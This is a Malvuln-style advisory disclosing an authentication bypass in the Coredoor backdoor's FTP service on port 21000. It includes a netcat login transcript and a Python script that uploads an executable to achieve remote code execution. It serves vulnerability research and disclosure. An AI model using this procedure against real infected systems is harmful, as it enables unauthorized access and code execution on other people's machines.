Backdoor.Win32.Coredoor.10.a malware suffers from bypass and code execution vulnerabilities.
d820cb7a3b88112f83ab2190847a377bDiscovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/4d10cd3fa86239ade05d2b741892b1e5.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Coredoor.10.a
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21000. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 4d10cd3fa86239ade05d2b741892b1e5
Vuln ID: MVID-2021-0410
Dropped files: CFS.exe
Disclosure: 11/25/2021
Exploit/PoC:
nc64.exe x.x.x.x 21000
220 c400s FTP Server read...
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,155).
STOR DOOM-SM
150 Opening data connection for DOOM-SM.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.125"
PORT=49819
DOOM="DOOM-SM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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